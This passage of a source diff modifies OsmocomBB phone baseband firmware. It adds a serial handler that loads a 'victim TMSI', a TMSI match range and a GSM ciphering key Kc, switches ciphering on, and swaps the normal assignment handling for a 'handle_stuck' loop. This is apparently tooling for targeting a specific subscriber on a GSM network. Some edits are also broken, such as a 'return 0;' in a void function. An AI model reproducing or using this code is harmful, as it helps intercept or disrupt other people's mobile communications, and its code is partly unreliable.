 	msgb_free(msg);
 }
 
+static void mobile_identity_rx_cb(uint8_t dlci, struct msgb *msg)
+{
+	int i;
+	printf("mobile_identity_rx_cb (DLCI %d): ", dlci);
+
+	/* yes this code sucks, i realized later that i need to set more than one
+	   thing so i should've made a byte encoding the type of information to set ;)
+	*/
+	if(msg->len == 2){
+		printf("setting TMSI match mask to: %02x-%02x\n", msg->data[0], msg->data[1]);
+		tmsi_range_min = msg->data[0];
+		tmsi_range_max = msg->data[1];
+		return;
+	}
+	if(msg->len >= 8){
+		printf("setting Kc to: ");
+		for (i = 0; i < msg->len && i < 8; i++) {
+			kc[i] = msg->data[i];
+			printf("%02x ", kc[i]);
+		}
+		puts("\n");
+		cipher_mode = CIPHER_ACTIVE;
+		if(msg->len == 9){
+			key_seq = msg->data[8];
+			printf("setting key sequence to: %02x\n", key_seq);
+		}
+		return;
+	}
+
+	printf("changing victim TMSI to: ");
+	for (i = 0; i < msg->len && i < 4; i++) {
+		victim_tmsi[i] = msg->data[i];
+		printf("%02x ", victim_tmsi[i]);
+	}
+	puts("\n");
+}
+
 static void l1a_l23_rx_cb(uint8_t dlci, struct msgb *msg)
 {
 	int i;
@@ -1508,9 +3003,6 @@ int main(void)
 {
 	board_init();
 
-	puts("\n\nOSMOCOM Monitor Tool (revision " GIT_REVISION ")\n");
-	puts(hr);
-
 	/* Dump device identification */
 	dump_dev_id();
 	puts(hr);
@@ -1519,6 +3011,7 @@ int main(void)
 	calypso_clk_dump();
 	puts(hr);
 
+	INIT_LLIST_HEAD(&mi_queue);
 	keypad_set_handler(&key_handler);
 
 	/* Dump clock config after PLL set */
@@ -1527,6 +3020,7 @@ int main(void)
 
 	sercomm_register_rx_cb(SC_DLCI_CONSOLE, console_rx_cb);
 	sercomm_register_rx_cb(SC_DLCI_L1A_L23, l1a_l23_rx_cb);
+	sercomm_register_rx_cb(SC_DLCI_TMSI, mobile_identity_rx_cb);
 
 	layer1_init();
 	l1a_l23_tx_cb = l1a_l23_tx;
@@ -1535,24 +3029,21 @@ int main(void)
 
 	tpu_frame_irq_en(1, 1);
 
-	buzzer_mode_pwt(1);
-	buzzer_volume(0);
-
 	memset(pm_spectrum, 0, sizeof(pm_spectrum));
 	memset(ul_max, 0, sizeof(ul_max));
 
 	/* inc 0 to 1 and refresh */
-	inc_dec_arfcn(1);
+	inc_dec_arfcn(30);
 
 	while (1) {
 		l1a_compl_execute();
 		osmo_timers_update();
 		handle_key_code();
 		l1a_l23_handler();
-		handle_pm();
+		//handle_pm();
 		handle_sync();
-		handle_assign();
-		handle_tone();
+		//handle_assign();
+		handle_stuck();
 	}
 
 	/* NOT REACHED */
diff --git a/src/target/firmware/battery/compal_e88.c b/src/target/firmware/battery/compal_e88.c
index 609d406..bcfea84 100644
--- a/src/target/firmware/battery/compal_e88.c
+++ b/src/target/firmware/battery/compal_e88.c
@@ -284,6 +284,7 @@ bat_compal_e88_upd_measurements(){
 	}
 
         /* DEBUG */
+	/*
         printf("BAT-ADC: ");
         for(i=0;i<MADC_NUM_CHANNELS;i++)
                 printf("%3d ",bat_compal_e88_madc[i]);
@@ -302,6 +303,7 @@ bat_compal_e88_upd_measurements(){
         printf("\tBCICTL2=0x%03x\n",i);      
 	printf("\tbattery-info.flags=0x%08x\n",battery_info.flags);
 	printf("\tbat_compal_e88_chg_state=%d\n",bat_compal_e88_chg_state);
+	*/
 }
 
 /* bat_compal_e88_adc_read() :
diff --git a/src/target/firmware/board/compal/highram.lds b/src/target/firmware/board/compal/highram.lds
index 498a2fa..5d802e2 100644
--- a/src/target/firmware/board/compal/highram.lds
+++ b/src/target/firmware/board/compal/highram.lds
@@ -16,9 +16,9 @@ MEMORY
     /* lowram: could be anything, we place exception vectors here */
 	XRAM (rw) : ORIGIN = 0x00800000, LENGTH = 0x00020000
     /* highram binary: our text, initialized data */
-    LRAM (rw) : ORIGIN = 0x00820000, LENGTH = 0x00014000
+    LRAM (rw) : ORIGIN = 0x00820000, LENGTH = 0x00024000
     /* highram binary: our unitialized data, stacks, heap */
-    IRAM (rw) : ORIGIN = 0x00834000, LENGTH = 0x0000c000
+    IRAM (rw) : ORIGIN = 0x00844000, LENGTH = 0x0000c000
 }
 SECTIONS
 {
diff --git a/src/target/firmware/board/compal/ram.lds b/src/target/firmware/board/compal/ram.lds
index 9503ede..8528072 100644
--- a/src/target/firmware/board/compal/ram.lds
+++ b/src/target/firmware/board/compal/ram.lds
@@ -11,9 +11,9 @@ ENTRY(_start)
 MEMORY
 {
     /* compal-loaded binary: our text, initialized data */
-    LRAM (rw) : ORIGIN = 0x00800000, LENGTH = 0x00014000
+    LRAM (rw) : ORIGIN = 0x00800000, LENGTH = 0x00024000
     /* compal-loaded binary: our unitialized data, stacks, heap */
-    IRAM (rw) : ORIGIN = 0x00814000, LENGTH = 0x0000c000
+    IRAM (rw) : ORIGIN = 0x00824000, LENGTH = 0x0000c000
 }
 SECTIONS
 {
diff --git a/src/target/firmware/include/comm/sercomm.h b/src/target/firmware/include/comm/sercomm.h
index 54256b5..4188230 100644
--- a/src/target/firmware/include/comm/sercomm.h
+++ b/src/target/firmware/include/comm/sercomm.h
@@ -21,6 +21,7 @@ enum sercomm_dlci {
 	SC_DLCI_L1A_L23 = 5,
 	SC_DLCI_LOADER  = 9,
 	SC_DLCI_CONSOLE = 10,
+	SC_DLCI_TMSI    = 127,
 	SC_DLCI_ECHO    = 128,
 	_SC_DLCI_MAX
 };
diff --git a/src/target/firmware/layer1/l23_api.c b/src/target/firmware/layer1/l23_api.c
index ae39e63..1de6a77 100644
--- a/src/target/firmware/layer1/l23_api.c
+++ b/src/target/firmware/layer1/l23_api.c
@@ -521,6 +522,7 @@ static void l1ctl_rx_tch_mode_req(struct msgb *msg)
 /* receive a L1CTL_NEIGH_PM_REQ from L23 */
 static void l1ctl_rx_neigh_pm_req(struct msgb *msg)
 {
+	return 0;
 	struct l1ctl_hdr *l1h = (struct l1ctl_hdr *) msg->data;
 	struct l1ctl_neigh_pm_req *pm_req =
 		(struct l1ctl_neigh_pm_req *) l1h->data;
@@ -590,6 +592,8 @@ static struct llist_head l23_rx_queue = LLIST_HEAD_INIT(l23_rx_queue);
 void l1a_l23_rx(uint8_t dlci, struct msgb *msg)
 {
 	unsigned long flags;
+	struct l1ctl_hdr *l1h;
+	l1h = (struct l1ctl_hdr *) msg->data;
 
 	local_firq_save(flags);
 	msgb_enqueue(&l23_rx_queue, msg);
@@ -610,15 +614,17 @@ void l1a_l23_handler(void)
 
 	l1h = (struct l1ctl_hdr *) msg->data;
 
-#if 0
-	{
-		int i;
-		printf("l1a_l23_rx_cb (%u): ", msg->len);
-		for (i = 0; i < msg->len; i++)
-			printf("%02x ", msg->data[i]);
-		puts("\n");
+	printf(" \n");
+
+	if(l1h->msg_type != L1CTL_PM_REQ){
+		{
+			int i;
+			printf("l1a_l23_rx_cb (%u): ", msg->len);
+			for (i = 0; i < msg->len; i++)
+				printf("%02x ", msg->data[i]);
+			puts("\n");
+		}
 	}
-#endif
 
 	msg->l1h = msg->data;
 
diff --git a/src/target/firmware/layer1/prim_pm.c b/src/target/firmware/layer1/prim_pm.c
index 1630600..6e208b4 100644
--- a/src/target/firmware/layer1/prim_pm.c
+++ b/src/target/firmware/layer1/prim_pm.c
@@ -91,12 +91,14 @@ static int l1s_pm_resp(uint8_t num_meas, __unused uint8_t p2,
 
 	l1ddsp_meas_read(num_meas, pm_level);
 
-	printf("PM MEAS: ARFCN=%u, %-4d dBm at baseband, %-4d dBm at RF\n",
+	/*printf("PM MEAS: ARFCN=%u, %-4d dBm at baseband, %-4d dBm at RF\n",
 		arfcn, pm_level[0]/8, agc_inp_dbm8_by_pm(pm_level[0])/8);
 
 	printd("PM MEAS: %-4d dBm, %-4d dBm ARFCN=%u\n",
 		agc_inp_dbm8_by_pm(pm_level[0])/8,
 		agc_inp_dbm8_by_pm(pm_level[1])/8, arfcn);
+	
+	*/
 
 	if (!l1s.pm.msg)
 		l1s.pm.msg = l1ctl_msgb_alloc(L1CTL_PM_CONF);
diff --git a/src/target/firmware/layer1/sync.c b/src/target/firmware/layer1/sync.c
index 36f4297..d64aec7 100644
--- a/src/target/firmware/layer1/sync.c
+++ b/src/target/firmware/layer1/sync.c
@@ -197,9 +197,11 @@ static inline void check_lost_frame(void)
 	diff = last_timestamp - timestamp;
 
 	/* allow for a bit of jitter */
+	/*
 	if (diff < TIMER_TICKS_PER_TDMA - TIMER_TICK_JITTER ||
 	    diff > TIMER_TICKS_PER_TDMA + TIMER_TICK_JITTER)
 		printf("LOST %d!\n", diff);
+	*/
 
 	last_timestamp = timestamp;
 }
openSUSE Build Service is sponsored by